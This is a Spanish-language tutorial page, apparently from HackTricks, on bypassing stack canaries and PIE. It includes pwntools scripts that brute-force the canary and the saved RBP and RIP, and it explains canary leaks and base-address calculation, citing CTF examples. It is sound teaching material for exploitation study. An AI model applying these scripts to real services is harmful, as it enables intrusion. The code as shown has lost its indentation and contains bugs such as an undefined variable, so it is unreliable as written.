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hacktricks/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md

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Si te enfrentas a un binario protegido por un canary y PIE (Ejecutable Independiente de la Posición) probablemente necesites encontrar una forma de evadirlos.

{% hint style="info" %} Ten en cuenta que checksec podría no detectar que un binario está protegido por un canary si fue compilado estáticamente y no es capaz de identificar la función.
Sin embargo, puedes darte cuenta manualmente si encuentras que un valor se guarda en la pila al comienzo de una llamada a función y este valor se verifica antes de salir. {% endhint %}

Fuerza bruta en el Canary

La mejor forma de evadir un canary simple es si el binario es un programa que crea procesos secundarios cada vez que se establece una nueva conexión con él (servicio de red), porque cada vez que te conectas a él se usará el mismo canary.

Entonces, la mejor forma de evadir el canary es simplemente hacer fuerza bruta carácter por carácter, y puedes averiguar si el byte del canary adivinado fue correcto comprobando si el programa ha fallado o continúa su flujo regular. En este ejemplo, la función hace fuerza bruta en un canary de 8 Bytes (x64) y distingue entre un byte adivinado correcto y un byte incorrecto simplemente comprobando si se envía una respuesta por parte del servidor (otra forma en otra situación podría ser usando un try/except):

Ejemplo 1

Este ejemplo está implementado para 64 bits pero podría ser fácilmente implementado para 32 bits.

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

Ejemplo 2

Esto está implementado para 32 bits, pero podría cambiarse fácilmente a 64 bits.
También tenga en cuenta que para este ejemplo, el programa espera primero un byte para indicar el tamaño de la entrada y la carga útil.

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

Imprimir el Canary

Otra forma de evadir el canary es imprimirlo.
Imagina una situación donde un programa vulnerable a desbordamiento de pila puede ejecutar una función puts apuntando a una parte del desbordamiento de pila. El atacante sabe que el primer byte del canary es un byte nulo (\x00) y el resto del canary son bytes aleatorios. Entonces, el atacante puede crear un desbordamiento que sobrescribe la pila hasta justo el primer byte del canary.
Luego, el atacante llama a la funcionalidad puts en el medio de la carga útil que imprimirá todo el canary (excepto el primer byte nulo).
Con esta información, el atacante puede crear y enviar un nuevo ataque conociendo el canary (en la misma sesión del programa)

Obviamente, esta táctica es muy limitada ya que el atacante necesita poder imprimir el contenido de su carga útil para extraer el canary y luego poder crear una nueva carga útil (en la misma sesión del programa) y enviar el desbordamiento de búfer real.
Ejemplo de CTF: https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html

PIE

Para evadir el PIE necesitas filtrar alguna dirección. Y si el binario no está filtrando ninguna dirección, lo mejor que puedes hacer es forzar el RBP y RIP guardados en la pila en la función vulnerable.
Por ejemplo, si un binario está protegido usando tanto un canary como PIE, puedes comenzar a forzar el canary, luego los próximos 8 bytes (x64) serán el RBP guardado y los próximos 8 bytes serán el RIP guardado.

Para forzar el RBP y el RIP desde el binario, puedes deducir que un byte adivinado válido es correcto si el programa produce una salida o simplemente no se bloquea. La misma función proporcionada para forzar el canary se puede utilizar para forzar el RBP y el RIP:

print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

Obtener la dirección base

Lo último que necesitas para vencer al PIE es calcular direcciones útiles a partir de las filtradas: el RBP y el RIP.

A partir del RBP puedes calcular dónde estás escribiendo tu shell en la pila. Esto puede ser muy útil para saber dónde vas a escribir la cadena "/bin/sh\x00" dentro de la pila. Para calcular la distancia entre el RBP filtrado y tu shellcode, simplemente coloca un punto de interrupción después de filtrar el RBP y verifica dónde se encuentra tu shellcode, luego puedes calcular la distancia entre el shellcode y el RBP:

INI_SHELLCODE = RBP - 1152

Desde el RIP puedes calcular la dirección base del binario PIE que necesitarás para crear una cadena ROP válida.
Para calcular la dirección base, simplemente ejecuta objdump -d vunbinary y verifica las últimas direcciones desensambladas:

En ese ejemplo puedes ver que solo se necesita 1 byte y medio para localizar todo el código, entonces, la dirección base en esta situación será el RIP filtrado pero terminando en "000". Por ejemplo, si filtraste 0x562002970ecf, la dirección base será 0x562002970000.

elf.address = RIP - (RIP & 0xfff)
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